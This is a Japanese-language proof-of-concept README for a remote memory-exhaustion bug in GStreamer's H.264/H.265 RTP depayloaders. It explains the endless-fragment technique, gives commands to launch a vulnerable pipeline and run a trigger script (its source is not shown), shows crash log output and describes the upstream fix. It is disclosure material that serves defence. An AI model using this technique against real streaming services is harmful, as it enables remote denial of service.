
CVE-2026-18649の概念実証。GStreamerのH.264 RTPデペイローダー(rtph264depay)におけるリモートサービス拒否の脆弱性です。
GStreamer の H.264 RTP デペイローダー(rtph264depay)におけるリソース枯渇脆弱性の概念実証。同じパターンは rtph265depay にも影響します。
H.264 FU-A フラグメント化 RTP の再構築中、各受信フラグメントはサイズ上限なしで内部の GstAdapter バッファにプッシュされます。アダプタは FU ヘッダのフラグメント終端(E)ビットが設定されたときだけフラッシュされます。リモート攻撃者は、有効な開始フラグメントを1つ送信した後、E ビットを決して設定せずに継続フラグメントを無限に送信します。バッファはプロセスのメモリが尽きてクラッシュするまで増加し続けます。
完全なレポート: 0xsemizzz.vercel.app/projects/gstreamer-cve
上流の修正前の gst-plugins-good。1.28.2(Ubuntu 24.04)で確認済み。
パイプラインを起動してから PoC を実行します:
gst-launch-1.0 udpsrc port=5036 buffer-size=4194304 \
caps="application/x-rtp,media=video,payload=96,clock-rate=90000,encoding-name=H264" \
! rtph264depay ! fakesink &
PID=$!
python3 trigger.py 5036 $PID
高速にクラッシュさせるには、メモリ上限を追加します:
ulimit -v 262144 # 256 MB、プロセスは約12秒で停止
gst-launch-1.0 udpsrc port=5036 buffer-size=4194304 \
caps="application/x-rtp,media=video,payload=96,clock-rate=90000,encoding-name=H264" \
! rtph264depay ! fakesink &
python3 trigger.py 5036 $!
[*] port=5036 1 fragment every 0.5ms (~2.8 MB/s)
[*] monitoring VmData (heap), not RSS
[*] target PID=12345 baseline VmData=26 MB
5000 frags ~ 7 MB sent | VmData=35MB (+8MB)
10000 frags ~ 13 MB sent | VmData=44MB (+17MB)
15000 frags ~ 20 MB sent | VmData=53MB (+26MB)
20000 frags ~ 27 MB sent | VmData=62MB (+35MB)
25000 frags ~ 33 MB sent | VmData=71MB (+44MB)
30000 frags ~ 40 MB sent | VmData=79MB (+53MB)
...
DEAD
rtph264depay と rtph265depay に max-reassembly-size プロパティが追加されました。アプリケーションはこれを妥当な値(ビデオでは通常 16 MB)に設定する必要があります。後方互換性のためデフォルトは 0(無制限)です。